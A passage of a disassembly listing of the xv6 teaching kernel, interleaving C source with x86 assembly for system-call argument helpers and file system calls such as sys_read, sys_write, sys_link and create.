$0x20,%esp 801045c8: 8b 5d 10 mov 0x10(%ebp),%ebx int i; struct proc *curproc = myproc(); 801045cb: e8 d0 f0 ff ff call 801036a0 <myproc> 801045d0: 89 c6 mov %eax,%esi if(argint(n, &i) < 0) 801045d2: 8d 45 f4 lea -0xc(%ebp),%eax 801045d5: 89 44 24 04 mov %eax,0x4(%esp) 801045d9: 8b 45 08 mov 0x8(%ebp),%eax 801045dc: 89 04 24 mov %eax,(%esp) 801045df: e8 ac ff ff ff call 80104590 <argint> 801045e4: 85 c0 test %eax,%eax 801045e6: 78 28 js 80104610 <argptr+0x50> return -1; if(size < 0 || (uint)i >= curproc->sz || (uint)i+size > curproc->sz) 801045e8: 85 db test %ebx,%ebx 801045ea: 78 24 js 80104610 <argptr+0x50> 801045ec: 8b 55 f4 mov -0xc(%ebp),%edx 801045ef: 8b 06 mov (%esi),%eax 801045f1: 39 c2 cmp %eax,%edx 801045f3: 73 1b jae 80104610 <argptr+0x50> 801045f5: 01 d3 add %edx,%ebx 801045f7: 39 d8 cmp %ebx,%eax 801045f9: 72 15 jb 80104610 <argptr+0x50> return -1; *pp = (char*)i; 801045fb: 8b 45 0c mov 0xc(%ebp),%eax 801045fe: 89 10 mov %edx,(%eax) return 0; } 80104600: 83 c4 20 add $0x20,%esp return 0; 80104603: 31 c0 xor %eax,%eax } 80104605: 5b pop %ebx 80104606: 5e pop %esi 80104607: 5d pop %ebp 80104608: c3 ret 80104609: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104610: 83 c4 20 add $0x20,%esp return -1; 80104613: b8 ff ff ff ff mov $0xffffffff,%eax } 80104618: 5b pop %ebx 80104619: 5e pop %esi 8010461a: 5d pop %ebp 8010461b: c3 ret 8010461c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104620 <argstr>: // Check that the pointer is valid and the string is nul-terminated. // (There is no shared writable memory, so the string can't change // between this check and being used by the kernel.) int argstr(int n, char **pp) { 80104620: 55 push %ebp 80104621: 89 e5 mov %esp,%ebp 80104623: 83 ec 28 sub $0x28,%esp int addr; if(argint(n, &addr) < 0) 80104626: 8d 45 f4 lea -0xc(%ebp),%eax 80104629: 89 44 24 04 mov %eax,0x4(%esp) 8010462d: 8b 45 08 mov 0x8(%ebp),%eax 80104630: 89 04 24 mov %eax,(%esp) 80104633: e8 58 ff ff ff call 80104590 <argint> 80104638: 85 c0 test %eax,%eax 8010463a: 78 14 js 80104650 <argstr+0x30> return -1; return fetchstr(addr, pp); 8010463c: 8b 45 0c mov 0xc(%ebp),%eax 8010463f: 89 44 24 04 mov %eax,0x4(%esp) 80104643: 8b 45 f4 mov -0xc(%ebp),%eax 80104646: 89 04 24 mov %eax,(%esp) 80104649: e8 e2 fe ff ff call 80104530 <fetchstr> } 8010464e: c9 leave 8010464f: c3 ret return -1; 80104650: b8 ff ff ff ff mov $0xffffffff,%eax } 80104655: c9 leave 80104656: c3 ret 80104657: 89 f6 mov %esi,%esi 80104659: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104660 <syscall>: [SYS_close] sys_close, }; void syscall(void) { 80104660: 55 push %ebp 80104661: 89 e5 mov %esp,%ebp 80104663: 56 push %esi 80104664: 53 push %ebx 80104665: 83 ec 10 sub $0x10,%esp int num; struct proc *curproc = myproc(); 80104668: e8 33 f0 ff ff call 801036a0 <myproc> num = curproc->tf->eax; 8010466d: 8b 70 18 mov 0x18(%eax),%esi struct proc *curproc = myproc(); 80104670: 89 c3 mov %eax,%ebx num = curproc->tf->eax; 80104672: 8b 46 1c mov 0x1c(%esi),%eax if(num > 0 && num < NELEM(syscalls) && syscalls[num]) { 80104675: 8d 50 ff lea -0x1(%eax),%edx 80104678: 83 fa 14 cmp $0x14,%edx 8010467b: 77 1b ja 80104698 <syscall+0x38> 8010467d: 8b 14 85 c0 72 10 80 mov -0x7fef8d40(,%eax,4),%edx 80104684: 85 d2 test %edx,%edx 80104686: 74 10 je 80104698 <syscall+0x38> curproc->tf->eax = syscalls[num](); 80104688: ff d2 call *%edx 8010468a: 89 46 1c mov %eax,0x1c(%esi) } else { cprintf("%d %s: unknown sys call %d\n", curproc->pid, curproc->name, num); curproc->tf->eax = -1; } } 8010468d: 83 c4 10 add $0x10,%esp 80104690: 5b pop %ebx 80104691: 5e pop %esi 80104692: 5d pop %ebp 80104693: c3 ret 80104694: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi cprintf("%d %s: unknown sys call %d\n", 80104698: 89 44 24 0c mov %eax,0xc(%esp) curproc->pid, curproc->name, num); 8010469c: 8d 43 6c lea 0x6c(%ebx),%eax 8010469f: 89 44 24 08 mov %eax,0x8(%esp) cprintf("%d %s: unknown sys call %d\n", 801046a3: 8b 43 10 mov 0x10(%ebx),%eax 801046a6: c7 04 24 91 72 10 80 movl $0x80107291,(%esp) 801046ad: 89 44 24 04 mov %eax,0x4(%esp) 801046b1: e8 9a bf ff ff call 80100650 <cprintf> curproc->tf->eax = -1; 801046b6: 8b 43 18 mov 0x18(%ebx),%eax 801046b9: c7 40 1c ff ff ff ff movl $0xffffffff,0x1c(%eax) } 801046c0: 83 c4 10 add $0x10,%esp 801046c3: 5b pop %ebx 801046c4: 5e pop %esi 801046c5: 5d pop %ebp 801046c6: c3 ret 801046c7: 66 90 xchg %ax,%ax 801046c9: 66 90 xchg %ax,%ax 801046cb: 66 90 xchg %ax,%ax 801046cd: 66 90 xchg %ax,%ax 801046cf: 90 nop 801046d0 <fdalloc>: // Allocate a file descriptor for the given file. // Takes over file reference from caller on success. static int fdalloc(struct file *f) { 801046d0: 55 push %ebp 801046d1: 89 e5 mov %esp,%ebp 801046d3: 53 push %ebx 801046d4: 89 c3 mov %eax,%ebx 801046d6: 83 ec 04 sub $0x4,%esp int fd; struct proc *curproc = myproc(); 801046d9: e8 c2 ef ff ff call 801036a0 <myproc> for(fd = 0; fd < NOFILE; fd++){ 801046de: 31 d2 xor %edx,%edx if(curproc->ofile[fd] == 0){ 801046e0: 8b 4c 90 28 mov 0x28(%eax,%edx,4),%ecx 801046e4: 85 c9 test %ecx,%ecx 801046e6: 74 18 je 80104700 <fdalloc+0x30> for(fd = 0; fd < NOFILE; fd++){ 801046e8: 83 c2 01 add $0x1,%edx 801046eb: 83 fa 10 cmp $0x10,%edx 801046ee: 75 f0 jne 801046e0 <fdalloc+0x10> curproc->ofile[fd] = f; return fd; } } return -1; } 801046f0: 83 c4 04 add $0x4,%esp return -1; 801046f3: b8 ff ff ff ff mov $0xffffffff,%eax } 801046f8: 5b pop %ebx 801046f9: 5d pop %ebp 801046fa: c3 ret 801046fb: 90 nop 801046fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi curproc->ofile[fd] = f; 80104700: 89 5c 90 28 mov %ebx,0x28(%eax,%edx,4) } 80104704: 83 c4 04 add $0x4,%esp return fd; 80104707: 89 d0 mov %edx,%eax } 80104709: 5b pop %ebx 8010470a: 5d pop %ebp 8010470b: c3 ret 8010470c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104710 <create>: return -1; } static struct inode* create(char *path, short type, short major, short minor) { 80104710: 55 push %ebp 80104711: 89 e5 mov %esp,%ebp 80104713: 57 push %edi 80104714: 56 push %esi 80104715: 53 push %ebx 80104716: 83 ec 3c sub $0x3c,%esp 80104719: 89 4d d0 mov %ecx,-0x30(%ebp) 8010471c: 8b 4d 08 mov 0x8(%ebp),%ecx struct inode *ip, *dp; char name[DIRSIZ]; if((dp = nameiparent(path, name)) == 0) 8010471f: 8d 5d da lea -0x26(%ebp),%ebx 80104722: 89 5c 24 04 mov %ebx,0x4(%esp) 80104726: 89 04 24 mov %eax,(%esp) { 80104729: 89 55 d4 mov %edx,-0x2c(%ebp) 8010472c: 89 4d cc mov %ecx,-0x34(%ebp) if((dp = nameiparent(path, name)) == 0) 8010472f: e8 ec d7 ff ff call 80101f20 <nameiparent> 80104734: 85 c0 test %eax,%eax 80104736: 89 c7 mov %eax,%edi 80104738: 0f 84 da 00 00 00 je 80104818 <create+0x108> return 0; ilock(dp); 8010473e: 89 04 24 mov %eax,(%esp) 80104741: e8 6a cf ff ff call 801016b0 <ilock> if((ip = dirlookup(dp, name, 0)) != 0){ 80104746: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp) 8010474d: 00 8010474e: 89 5c 24 04 mov %ebx,0x4(%esp) 80104752: 89 3c 24 mov %edi,(%esp) 80104755: e8 66 d4 ff ff call 80101bc0 <dirlookup> 8010475a: 85 c0 test %eax,%eax 8010475c: 89 c6 mov %eax,%esi 8010475e: 74 40 je 801047a0 <create+0x90> iunlockput(dp); 80104760: 89 3c 24 mov %edi,(%esp) 80104763: e8 a8 d1 ff ff call 80101910 <iunlockput> ilock(ip); 80104768: 89 34 24 mov %esi,(%esp) 8010476b: e8 40 cf ff ff call 801016b0 <ilock> if(type == T_FILE && ip->type == T_FILE) 80104770: 66 83 7d d4 02 cmpw $0x2,-0x2c(%ebp) 80104775: 75 11 jne 80104788 <create+0x78> 80104777: 66 83 7e 50 02 cmpw $0x2,0x50(%esi) 8010477c: 89 f0 mov %esi,%eax 8010477e: 75 08 jne 80104788 <create+0x78> panic("create: dirlink"); iunlockput(dp); return ip; } 80104780: 83 c4 3c add $0x3c,%esp 80104783: 5b pop %ebx 80104784: 5e pop %esi 80104785: 5f pop %edi 80104786: 5d pop %ebp 80104787: c3 ret iunlockput(ip); 80104788: 89 34 24 mov %esi,(%esp) 8010478b: e8 80 d1 ff ff call 80101910 <iunlockput> } 80104790: 83 c4 3c add $0x3c,%esp return 0; 80104793: 31 c0 xor %eax,%eax } 80104795: 5b pop %ebx 80104796: 5e pop %esi 80104797: 5f pop %edi 80104798: 5d pop %ebp 80104799: c3 ret 8010479a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if((ip = ialloc(dp->dev, type)) == 0) 801047a0: 0f bf 45 d4 movswl -0x2c(%ebp),%eax 801047a4: 89 44 24 04 mov %eax,0x4(%esp) 801047a8: 8b 07 mov (%edi),%eax 801047aa: 89 04 24 mov %eax,(%esp) 801047ad: e8 6e cd ff ff call 80101520 <ialloc> 801047b2: 85 c0 test %eax,%eax 801047b4: 89 c6 mov %eax,%esi 801047b6: 0f 84 bf 00 00 00 je 8010487b <create+0x16b> ilock(ip); 801047bc: 89 04 24 mov %eax,(%esp) 801047bf: e8 ec ce ff ff call 801016b0 <ilock> ip->major = major; 801047c4: 0f b7 45 d0 movzwl -0x30(%ebp),%eax 801047c8: 66 89 46 52 mov %ax,0x52(%esi) ip->minor = minor; 801047cc: 0f b7 45 cc movzwl -0x34(%ebp),%eax 801047d0: 66 89 46 54 mov %ax,0x54(%esi) ip->nlink = 1; 801047d4: b8 01 00 00 00 mov $0x1,%eax 801047d9: 66 89 46 56 mov %ax,0x56(%esi) iupdate(ip); 801047dd: 89 34 24 mov %esi,(%esp) 801047e0: e8 0b ce ff ff call 801015f0 <iupdate> if(type == T_DIR){ // Create . and .. entries. 801047e5: 66 83 7d d4 01 cmpw $0x1,-0x2c(%ebp) 801047ea: 74 34 je 80104820 <create+0x110> if(dirlink(dp, name, ip->inum) < 0) 801047ec: 8b 46 04 mov 0x4(%esi),%eax 801047ef: 89 5c 24 04 mov %ebx,0x4(%esp) 801047f3: 89 3c 24 mov %edi,(%esp) 801047f6: 89 44 24 08 mov %eax,0x8(%esp) 801047fa: e8 21 d6 ff ff call 80101e20 <dirlink> 801047ff: 85 c0 test %eax,%eax 80104801: 78 6c js 8010486f <create+0x15f> iunlockput(dp); 80104803: 89 3c 24 mov %edi,(%esp) 80104806: e8 05 d1 ff ff call 80101910 <iunlockput> } 8010480b: 83 c4 3c add $0x3c,%esp return ip; 8010480e: 89 f0 mov %esi,%eax } 80104810: 5b pop %ebx 80104811: 5e pop %esi 80104812: 5f pop %edi 80104813: 5d pop %ebp 80104814: c3 ret 80104815: 8d 76 00 lea 0x0(%esi),%esi return 0; 80104818: 31 c0 xor %eax,%eax 8010481a: e9 61 ff ff ff jmp 80104780 <create+0x70> 8010481f: 90 nop dp->nlink++; // for ".." 80104820: 66 83 47 56 01 addw $0x1,0x56(%edi) iupdate(dp); 80104825: 89 3c 24 mov %edi,(%esp) 80104828: e8 c3 cd ff ff call 801015f0 <iupdate> if(dirlink(ip, ".", ip->inum) < 0 || dirlink(ip, "..", dp->inum) < 0) 8010482d: 8b 46 04 mov 0x4(%esi),%eax 80104830: c7 44 24 04 34 73 10 movl $0x80107334,0x4(%esp) 80104837: 80 80104838: 89 34 24 mov %esi,(%esp) 8010483b: 89 44 24 08 mov %eax,0x8(%esp) 8010483f: e8 dc d5 ff ff call 80101e20 <dirlink> 80104844: 85 c0 test %eax,%eax 80104846: 78 1b js 80104863 <create+0x153> 80104848: 8b 47 04 mov 0x4(%edi),%eax 8010484b: c7 44 24 04 33 73 10 movl $0x80107333,0x4(%esp) 80104852: 80 80104853: 89 34 24 mov %esi,(%esp) 80104856: 89 44 24 08 mov %eax,0x8(%esp) 8010485a: e8 c1 d5 ff ff call 80101e20 <dirlink> 8010485f: 85 c0 test %eax,%eax 80104861: 79 89 jns 801047ec <create+0xdc> panic("create dots"); 80104863: c7 04 24 27 73 10 80 movl $0x80107327,(%esp) 8010486a: e8 f1 ba ff ff call 80100360 <panic> panic("create: dirlink"); 8010486f: c7 04 24 36 73 10 80 movl $0x80107336,(%esp) 80104876: e8 e5 ba ff ff call 80100360 <panic> panic("create: ialloc"); 8010487b: c7 04 24 18 73 10 80 movl $0x80107318,(%esp) 80104882: e8 d9 ba ff ff call 80100360 <panic> 80104887: 89 f6 mov %esi,%esi 80104889: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104890 <argfd.constprop.0>: argfd(int n, int *pfd, struct file **pf) 80104890: 55 push %ebp 80104891: 89 e5 mov %esp,%ebp 80104893: 56 push %esi 80104894: 89 c6 mov %eax,%esi 80104896: 53 push %ebx 80104897: 89 d3 mov %edx,%ebx 80104899: 83 ec 20 sub $0x20,%esp if(argint(n, &fd) < 0) 8010489c: 8d 45 f4 lea -0xc(%ebp),%eax 8010489f: 89 44 24 04 mov %eax,0x4(%esp) 801048a3: c7 04 24 00 00 00 00 movl $0x0,(%esp) 801048aa: e8 e1 fc ff ff call 80104590 <argint> 801048af: 85 c0 test %eax,%eax 801048b1: 78 2d js 801048e0 <argfd.constprop.0+0x50> if(fd < 0 || fd >= NOFILE || (f=myproc()->ofile[fd]) == 0) 801048b3: 83 7d f4 0f cmpl $0xf,-0xc(%ebp) 801048b7: 77 27 ja 801048e0 <argfd.constprop.0+0x50> 801048b9: e8 e2 ed ff ff call 801036a0 <myproc> 801048be: 8b 55 f4 mov -0xc(%ebp),%edx 801048c1: 8b 44 90 28 mov 0x28(%eax,%edx,4),%eax 801048c5: 85 c0 test %eax,%eax 801048c7: 74 17 je 801048e0 <argfd.constprop.0+0x50> if(pfd) 801048c9: 85 f6 test %esi,%esi 801048cb: 74 02 je 801048cf <argfd.constprop.0+0x3f> *pfd = fd; 801048cd: 89 16 mov %edx,(%esi) if(pf) 801048cf: 85 db test %ebx,%ebx 801048d1: 74 1d je 801048f0 <argfd.constprop.0+0x60> *pf = f; 801048d3: 89 03 mov %eax,(%ebx) return 0; 801048d5: 31 c0 xor %eax,%eax } 801048d7: 83 c4 20 add $0x20,%esp 801048da: 5b pop %ebx 801048db: 5e pop %esi 801048dc: 5d pop %ebp 801048dd: c3 ret 801048de: 66 90 xchg %ax,%ax 801048e0: 83 c4 20 add $0x20,%esp return -1; 801048e3: b8 ff ff ff ff mov $0xffffffff,%eax } 801048e8: 5b pop %ebx 801048e9: 5e pop %esi 801048ea: 5d pop %ebp 801048eb: c3 ret 801048ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return 0; 801048f0: 31 c0 xor %eax,%eax 801048f2: eb e3 jmp 801048d7 <argfd.constprop.0+0x47> 801048f4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801048fa: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80104900 <sys_dup>: { 80104900: 55 push %ebp if(argfd(0, 0, &f) < 0) 80104901: 31 c0 xor %eax,%eax { 80104903: 89 e5 mov %esp,%ebp 80104905: 53 push %ebx 80104906: 83 ec 24 sub $0x24,%esp if(argfd(0, 0, &f) < 0) 80104909: 8d 55 f4 lea -0xc(%ebp),%edx 8010490c: e8 7f ff ff ff call 80104890 <argfd.constprop.0> 80104911: 85 c0 test %eax,%eax 80104913: 78 23 js 80104938 <sys_dup+0x38> if((fd=fdalloc(f)) < 0) 80104915: 8b 45 f4 mov -0xc(%ebp),%eax 80104918: e8 b3 fd ff ff call 801046d0 <fdalloc> 8010491d: 85 c0 test %eax,%eax 8010491f: 89 c3 mov %eax,%ebx 80104921: 78 15 js 80104938 <sys_dup+0x38> filedup(f); 80104923: 8b 45 f4 mov -0xc(%ebp),%eax 80104926: 89 04 24 mov %eax,(%esp) 80104929: e8 b2 c4 ff ff call 80100de0 <filedup> return fd; 8010492e: 89 d8 mov %ebx,%eax } 80104930: 83 c4 24 add $0x24,%esp 80104933: 5b pop %ebx 80104934: 5d pop %ebp 80104935: c3 ret 80104936: 66 90 xchg %ax,%ax return -1; 80104938: b8 ff ff ff ff mov $0xffffffff,%eax 8010493d: eb f1 jmp 80104930 <sys_dup+0x30> 8010493f: 90 nop 80104940 <sys_read>: { 80104940: 55 push %ebp if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) 80104941: 31 c0 xor %eax,%eax { 80104943: 89 e5 mov %esp,%ebp 80104945: 83 ec 28 sub $0x28,%esp if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) 80104948: 8d 55 ec lea -0x14(%ebp),%edx 8010494b: e8 40 ff ff ff call 80104890 <argfd.constprop.0> 80104950: 85 c0 test %eax,%eax 80104952: 78 54 js 801049a8 <sys_read+0x68> 80104954: 8d 45 f0 lea -0x10(%ebp),%eax 80104957: 89 44 24 04 mov %eax,0x4(%esp) 8010495b: c7 04 24 02 00 00 00 movl $0x2,(%esp) 80104962: e8 29 fc ff ff call 80104590 <argint> 80104967: 85 c0 test %eax,%eax 80104969: 78 3d js 801049a8 <sys_read+0x68> 8010496b: 8b 45 f0 mov -0x10(%ebp),%eax 8010496e: c7 04 24 01 00 00 00 movl $0x1,(%esp) 80104975: 89 44 24 08 mov %eax,0x8(%esp) 80104979: 8d 45 f4 lea -0xc(%ebp),%eax 8010497c: 89 44 24 04 mov %eax,0x4(%esp) 80104980: e8 3b fc ff ff call 801045c0 <argptr> 80104985: 85 c0 test %eax,%eax 80104987: 78 1f js 801049a8 <sys_read+0x68> return fileread(f, p, n); 80104989: 8b 45 f0 mov -0x10(%ebp),%eax 8010498c: 89 44 24 08 mov %eax,0x8(%esp) 80104990: 8b 45 f4 mov -0xc(%ebp),%eax 80104993: 89 44 24 04 mov %eax,0x4(%esp) 80104997: 8b 45 ec mov -0x14(%ebp),%eax 8010499a: 89 04 24 mov %eax,(%esp) 8010499d: e8 9e c5 ff ff call 80100f40 <fileread> } 801049a2: c9 leave 801049a3: c3 ret 801049a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return -1; 801049a8: b8 ff ff ff ff mov $0xffffffff,%eax } 801049ad: c9 leave 801049ae: c3 ret 801049af: 90 nop 801049b0 <sys_write>: { 801049b0: 55 push %ebp if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) 801049b1: 31 c0 xor %eax,%eax { 801049b3: 89 e5 mov %esp,%ebp 801049b5: 83 ec 28 sub $0x28,%esp if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) 801049b8: 8d 55 ec lea -0x14(%ebp),%edx 801049bb: e8 d0 fe ff ff call 80104890 <argfd.constprop.0> 801049c0: 85 c0 test %eax,%eax 801049c2: 78 54 js 80104a18 <sys_write+0x68> 801049c4: 8d 45 f0 lea -0x10(%ebp),%eax 801049c7: 89 44 24 04 mov %eax,0x4(%esp) 801049cb: c7 04 24 02 00 00 00 movl $0x2,(%esp) 801049d2: e8 b9 fb ff ff call 80104590 <argint> 801049d7: 85 c0 test %eax,%eax 801049d9: 78 3d js 80104a18 <sys_write+0x68> 801049db: 8b 45 f0 mov -0x10(%ebp),%eax 801049de: c7 04 24 01 00 00 00 movl $0x1,(%esp) 801049e5: 89 44 24 08 mov %eax,0x8(%esp) 801049e9: 8d 45 f4 lea -0xc(%ebp),%eax 801049ec: 89 44 24 04 mov %eax,0x4(%esp) 801049f0: e8 cb fb ff ff call 801045c0 <argptr> 801049f5: 85 c0 test %eax,%eax 801049f7: 78 1f js 80104a18 <sys_write+0x68> return filewrite(f, p, n); 801049f9: 8b 45 f0 mov -0x10(%ebp),%eax 801049fc: 89 44 24 08 mov %eax,0x8(%esp) 80104a00: 8b 45 f4 mov -0xc(%ebp),%eax 80104a03: 89 44 24 04 mov %eax,0x4(%esp) 80104a07: 8b 45 ec mov -0x14(%ebp),%eax 80104a0a: 89 04 24 mov %eax,(%esp) 80104a0d: e8 ce c5 ff ff call 80100fe0 <filewrite> } 80104a12: c9 leave 80104a13: c3 ret 80104a14: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return -1; 80104a18: b8 ff ff ff ff mov $0xffffffff,%eax } 80104a1d: c9 leave 80104a1e: c3 ret 80104a1f: 90 nop 80104a20 <sys_close>: { 80104a20: 55 push %ebp 80104a21: 89 e5 mov %esp,%ebp 80104a23: 83 ec 28 sub $0x28,%esp if(argfd(0, &fd, &f) < 0) 80104a26: 8d 55 f4 lea -0xc(%ebp),%edx 80104a29: 8d 45 f0 lea -0x10(%ebp),%eax 80104a2c: e8 5f fe ff ff call 80104890 <argfd.constprop.0> 80104a31: 85 c0 test %eax,%eax 80104a33: 78 23 js 80104a58 <sys_close+0x38> myproc()->ofile[fd] = 0; 80104a35: e8 66 ec ff ff call 801036a0 <myproc> 80104a3a: 8b 55 f0 mov -0x10(%ebp),%edx 80104a3d: c7 44 90 28 00 00 00 movl $0x0,0x28(%eax,%edx,4) 80104a44: 00 fileclose(f); 80104a45: 8b 45 f4 mov -0xc(%ebp),%eax 80104a48: 89 04 24 mov %eax,(%esp) 80104a4b: e8 e0 c3 ff ff call 80100e30 <fileclose> return 0; 80104a50: 31 c0 xor %eax,%eax } 80104a52: c9 leave 80104a53: c3 ret 80104a54: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return -1; 80104a58: b8 ff ff ff ff mov $0xffffffff,%eax } 80104a5d: c9 leave 80104a5e: c3 ret 80104a5f: 90 nop 80104a60 <sys_fstat>: { 80104a60: 55 push %ebp if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0) 80104a61: 31 c0 xor %eax,%eax { 80104a63: 89 e5 mov %esp,%ebp 80104a65: 83 ec 28 sub $0x28,%esp if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0) 80104a68: 8d 55 f0 lea -0x10(%ebp),%edx 80104a6b: e8 20 fe ff ff call 80104890 <argfd.constprop.0> 80104a70: 85 c0 test %eax,%eax 80104a72: 78 34 js 80104aa8 <sys_fstat+0x48> 80104a74: 8d 45 f4 lea -0xc(%ebp),%eax 80104a77: c7 44 24 08 14 00 00 movl $0x14,0x8(%esp) 80104a7e: 00 80104a7f: 89 44 24 04 mov %eax,0x4(%esp) 80104a83: c7 04 24 01 00 00 00 movl $0x1,(%esp) 80104a8a: e8 31 fb ff ff call 801045c0 <argptr> 80104a8f: 85 c0 test %eax,%eax 80104a91: 78 15 js 80104aa8 <sys_fstat+0x48> return filestat(f, st); 80104a93: 8b 45 f4 mov -0xc(%ebp),%eax 80104a96: 89 44 24 04 mov %eax,0x4(%esp) 80104a9a: 8b 45 f0 mov -0x10(%ebp),%eax 80104a9d: 89 04 24 mov %eax,(%esp) 80104aa0: e8 4b c4 ff ff call 80100ef0 <filestat> } 80104aa5: c9 leave 80104aa6: c3 ret 80104aa7: 90 nop return -1; 80104aa8: b8 ff ff ff ff mov $0xffffffff,%eax } 80104aad: c9 leave 80104aae: c3 ret 80104aaf: 90 nop 80104ab0 <sys_link>: { 80104ab0: 55 push %ebp 80104ab1: 89 e5 mov %esp,%ebp 80104ab3: 57 push %edi 80104ab4: 56 push %esi 80104ab5: 53 push %ebx 80104ab6: 83 ec 3c sub $0x3c,%esp if(argstr(0, &old) < 0 || argstr(1, &new) < 0) 80104ab9: 8d 45 d4 lea -0x2c(%ebp),%eax 80104abc: 89 44 24 04 mov %eax,0x4(%esp) 80104ac0: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80104ac7: e8 54 fb ff ff call 80104620 <argstr> 80104acc: 85 c0 test %eax,%eax 80104ace: 0f 88 e6 00 00 00 js 80104bba <sys_link+0x10a> 80104ad4: 8d 45 d0 lea -0x30(%ebp),%eax 80104ad7: 89 44 24 04 mov %eax,0x4(%esp) 80104adb: c7 04 24 01 00 00 00 movl $0x1,(%esp) 80104ae2: e8 39 fb ff ff call 80104620 <argstr> 80104ae7: 85 c0 test %eax,%eax 80104ae9: 0f 88 cb 00 00 00 js 80104bba <sys_link+0x10a> begin_op(); 80104aef: e8 1c e0 ff ff call 80102b10 <begin_op> if((ip = namei(old)) == 0){ 80104af4: 8b 45 d4 mov -0x2c(%ebp),%eax 80104af7: 89 04 24 mov %eax,(%esp) 80104afa: e8 01 d4 ff ff call 80101f00 <namei> 80104aff: 85 c0 test %eax,%eax 80104b01: 89 c3 mov %eax,%ebx 80104b03: 0f 84 ac 00 00 00 je 80104bb5 <sys_link+0x105> ilock(ip); 80104b09: 89 04 24 mov %eax,(%esp) 80104b0c: e8 9f cb ff ff call 801016b0 <ilock> if(ip->type == T_DIR){ 80104b11: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 80104b16: 0f 84 91 00 00 00 je 80104bad <sys_link+0xfd> ip->nlink++; 80104b1c: 66 83 43 56 01 addw $0x1,0x56(%ebx) if((dp = nameiparent(new, name)) == 0) 80104b21: 8d 7d da lea -0x26(%ebp),%edi iupdate(ip); 80104b24: 89 1c 24 mov %ebx,(%esp) 80104b27: e8 c4 ca ff ff call 801015f0 <iupdate> iunlock(ip); 80104b2c: 89 1c 24 mov %ebx,(%esp) 80104b2f: e8 5c cc ff ff call 80101790 <iunlock> if((dp = nameiparent(new, name)) == 0) 80104b34: 8b 45 d0 mov -0x30(%ebp),%eax 80104b37: 89 7c 24 04 mov %edi,0x4(%esp) 80104b3b: 89 04 24 mov %eax,(%esp) 80104b3e: e8 dd d3 ff ff call 80101f20 <nameiparent> 80104b43: 85 c0 test %eax,%eax 80104b45: 89 c6 mov %eax,%esi 80104b47: 74 4f je 80104b98 <sys_link+0xe8> ilock(dp); 80104b49: 89 04 24 mov %eax,(%esp) 80104b4c: e8 5f cb ff ff call 801016b0 <ilock> if(dp->dev != ip->dev || dirlink(dp, name, ip->inum) < 0){ 80104b51: 8b 03 mov (%ebx),%eax 80104b53: 39 06 cmp %eax,(%esi) 80104b55: 75 39 jne 80104b90 <sys_link+0xe0> 80104b57: 8b 43 04 mov 0x4(%ebx),%eax 80104b5a: 89 7c 24 04 mov %edi,0x4(%esp) 80104b5e: 89 34 24 mov %esi,(%esp) 80104b61: 89 44 24 08 mov %eax,0x8(%esp) 80104b65: e8 b6 d2 ff ff call 80101e20 <dirlink> 80104b6a: 85 c0 test %eax,%eax 80104b6c: 78 22 js 80104b90 <sys_link+0xe0> iunlockput(dp); 80104b6e: 89 34 24 mov %esi,(%esp) 80104b71: e8 9a cd ff ff call 80101910 <iunlockput> iput(ip); 80104b76: 89 1c 24 mov %ebx,(%esp) 80104b79: e8 52 cc ff ff call 801017d0 <iput> end_op(); 80104b7e: e8 fd df ff ff call 80102b80 <end_op> } 80104b83: 83 c4 3c add $0x3c,%esp return 0; 80104b86: 31 c0 xor %eax,%eax } 80104b88: 5b pop %ebx 80104b89: 5e pop %esi 80104b8a: 5f pop %edi 80104b8b: 5d pop %ebp 80104b8c: c3 ret 80104b8d: 8d 76 00 lea 0x0(%esi),%esi iunlockput(dp); 80104b90: 89 34 24 mov %esi,(%esp) 80104b93: e8 78 cd ff ff call 80101910 <iunlockput> ilock(ip); 80104b98: 89 1c 24 mov %ebx,(%esp) 80104b9b: e8 10 cb ff ff call 801016b0 <ilock> ip->nlink--; 80104ba0: 66 83 6b 56 01 subw $0x1,0x56(%ebx) iupdate(ip); 80104ba5: 89 1c 24 mov %ebx,(%esp) 80104ba8: e8 43 ca ff ff call 801015f0 <iupdate> iunlockput(ip); 80104bad: 89 1c 24 mov %ebx,(%esp) 80104bb0: e8 5b cd ff ff call 80101910 <iunlockput> end_op(); 80104bb5: e8 c6 df ff ff call 80102b80 <end_op> } 80104bba: 83 c4 3c add $0x3c,%esp return -1; 80104bbd: b8 ff ff ff ff mov $0xffffffff,%eax } 80104bc2: 5b pop %ebx 80104bc3: 5e pop %esi 80104bc4: 5f pop %edi 80104bc5: 5d pop %ebp 80104bc6: c3 ret 80104bc7: 89 f6 mov %esi,%esi 80104bc9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104bd0 <sys_unlink>: { 80104bd0: 55 push %ebp 80104bd1: 89 e5 mov %esp,%ebp 80104bd3: 57 push %edi 80104bd4: 56 push %esi 80104bd5: 53 push %ebx 80104bd6: 83 ec 5c sub $0x5c,%esp if(argstr(0, &path) < 0) 80104bd9: 8d 45 c0 lea -0x40(%ebp),%eax 80104bdc: 89 44 24 04 mov %eax,0x4(%esp) 80104be0: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80104be7: e8 34 fa ff 